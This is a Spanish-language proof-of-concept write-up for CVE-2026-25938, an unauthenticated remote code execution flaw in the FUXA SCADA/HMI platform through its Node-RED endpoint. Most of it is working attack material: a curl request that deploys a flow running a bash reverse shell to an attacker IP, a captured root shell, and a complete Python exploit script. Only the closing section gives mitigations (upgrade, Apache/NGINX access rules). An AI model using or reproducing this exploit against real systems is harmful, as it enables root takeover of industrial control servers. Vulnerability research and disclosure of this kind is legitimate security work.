
Una explicación y un PoC para explotar la vulnerabilidad CVE-2026-25938 de RCE no autenticado en FUXA
FUXA es una plataforma SCADA (Control Supervisor y Adquisición de Datos) y HMI (Interfaz Hombre-Máquina) gratuita, de código abierto y basada en web, utilizada para la automatización industrial, IoT y la visualización de procesos en tiempo real. Permite a los usuarios crear paneles personalizados y monitorear máquinas directamente en un navegador web, sin necesidad de software propietario costoso ni editores de escritorio pesados.
CVE-2026-25938 afecta a las versiones 1.2.8 a 1.2.10 de FUXA cuando la integración con Node-RED está habilitada (lo está por defecto). La vulnerabilidad se debe a una aplicación insuficiente de la autenticación en la funcionalidad que expone las capacidades de Node-RED, lo que permite que un atacante remoto no autenticado acceda a operaciones que deberían requerir autorización, como crear flujos, siendo una de ellas capaz de ejecutar comandos en el sistema. Dado que Node-RED puede ejecutar flujos con los privilegios del proceso de FUXA, esta omisión de autenticación puede resultar, en última instancia, en una ejecución remota de código arbitraria en el servidor subyacente. El problema se soluciona en FUXA 1.2.11 y versiones posteriores.
Ejecutaremos un contenedor Docker con una versión vulnerable de FUXA, en este caso la versión 1.2.8:
docker run -d -p 1881:1881 --name fuxa-1.2.8 frangoteam/fuxa:1.2.8
El siguiente payload provocará una shell inversa hacia la dirección IP especificada en el nodo exec abusando de la vulnerabilidad:
tab creará un flujo llamado "RCE".inject se activará automáticamente al ser desplegado. Todo ello gracias a estos parámetros "once": true y "onceDelay": 0.1exec ejecutará el comando que queramos ejecutar, en este caso la shell inversa. Está especificado en "command": "bash <snip>".curl -X POST http://<IP_ADDRESS>:1881/nodered/flows \
-H "Content-Type: application/json" \
-H "Node-RED-Deployment-Type: full" \
-H "Referer: http://192.168.1.201:1881/editor" \
-d '[
{
"id": "tab1",
"type": "tab",
"label": "RCE",
"disabled": false,
"info": ""
},
{
"id": "inject1",
"type": "inject",
"z": "tab1",
"name": "",
"props": [{"p": "payload"}],
"repeat": "",
"crontab": "",
"once": true,
"onceDelay": 0.1,
"topic": "",
"payload": "",
"payloadType": "date",
"x": 150,
"y": 100,
"wires": [["exec1"]]
},
{
"id": "exec1",
"type": "exec",
"z": "tab1",
"command": "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1",
"addpay": "",
"append": "",
"useSpawn": "false",
"timer": "",
"winHide": false,
"oldrc": false,
"name": "",
"x": 350,
"y": 100,
"wires": [["debug1"], [], []]
}
]'
Si creamos un listener para nuestra shell inversa, recibiremos una conexión con una shell root al enviar el payload:
┌──(kali㉿jbkira)-[~]
└─$ nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.1.36] from (UNKNOWN) [192.168.1.201] 59546
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@887eaf642fc4:/usr/src/app/FUXA/server#
#!/usr/bin/env python3
import argparse
import requests
import sys
import json
# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"
def exploit(target_url, listener_ip, listener_port):
# Extract host:port from URL for Referer
target_host = target_url.split("//")[1].split("/")[0]
# Build the full endpoint
if not target_url.endswith("/"):
target_url += "/"
endpoint = f"{target_url}nodered/flows"
# Payload for the exploit
payload = [
{
"id": "tab1",
"type": "tab",
"label": "RCE",
"disabled": False,
"info": ""
},
{
"id": "inject1",
"type": "inject",
"z": "tab1",
"name": "",
"props": [{"p": "payload"}],
"repeat": "",
"crontab": "",
"once": True,
"onceDelay": 0.1,
"topic": "",
"payload": "",
"payloadType": "date",
"x": 150,
"y": 100,
"wires": [["exec1"]]
},
{
"id": "exec1",
"type": "exec",
"z": "tab1",
"command": f"bash -i >& /dev/tcp/{listener_ip}/{listener_port} 0>&1",
"addpay": "",
"append": "",
"useSpawn": "false",
"timer": "",
"winHide": False,
"oldrc": False,
"name": "",
"x": 350,
"y": 100,
"wires": [["debug1"], [], []]
}
]
headers = {
"Content-Type": "application/json",
"Referer": f"http://{target_host}/editor"
}
try:
response = requests.post(endpoint, json=payload, headers=headers, timeout=10)
if response.status_code == 200 or response.status_code == 204:
print(f"{GREEN}[+] Exploit successful! Check your listener for a reverse shell. ;){RESET}")
else:
print(f"{RED}[-] Exploit failed. Status Code: {response.status_code}{RESET}")
except requests.exceptions.RequestException as e:
print(f"{RED}[-] Error occurred: {e}{RESET}")
def argparse_setup():
parser = argparse.ArgumentParser(description="Exploit for FUXA Unauthenticated RCE (CVE-2026-25938) created by JBKira")
parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:1881/)", required=True)
parser.add_argument("-l", "--listener-ip", help="Your listener IP for reverse shell", required=True)
parser.add_argument("-lp", "--listener-port", type=int, default=443, help="Port for reverse shell (default: 443)")
return parser.parse_args()
def banner():
print(f"{YELLOW}")
print(r"""
_____ _ _ _____ _____ _____ _____ ____ _____ _____ _____ _____ _____
/ __ \ | | | ___| / __ \| _ |/ __ \ / ___| / __ \| ___|| _ ||____ | _ |
| / \/ | | | |__ ______`' / /'| |/' |`' / /'/ /___ ______`' / /'|___ \ | |_| | / /\ V /
| | | | | | __|______| / / | /| | / / | ___ \______| / / \ \\____ | \ \/ _ \
| \__/\ \_/ / |___ ./ /___\ |_/ /./ /___| \_/ | ./ /___/\__/ /.___/ /.___/ / |_| |
\____/\___/\____/ \_____/ \___/ \_____/\_____/ \_____/\____/ \____/ \____/\_____/
""")
print(f"CVE-2026-25938 Exploit for FUXA NODE-RED Unauthenticated RCE created by JBKira{RESET}")
print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")
def main():
args = argparse_setup()
banner()
exploit(args.url, args.listener_ip, args.listener_port)
if __name__ == "__main__":
main()
Actualice, si es posible, a una versión igual o posterior a 1.2.11; la vulnerabilidad está corregida en la versión 1.2.11.
Si no es posible actualizar, puede hacer lo siguiente:
Si se usa Apache como punto de entrada a la aplicación. No funcionará si Apache no puede ver la IP del cliente debido a NAT, Docker Proxy, etc.
<LocationMatch "^/nodered/">
Require ip 127.0.0.1
Require ip ::1
Require ip <TRUSTED_MGMT_CIDR>
</LocationMatch>
Si se usa NGINX como punto de entrada a la aplicación. No funcionará si NGINX no puede ver la IP del cliente debido a NAT, Docker Proxy, etc.
location /nodered/ {
allow 127.0.0.1;
allow ::1;
allow <TRUSTED_MGMT_CIDR>;
deny all;
}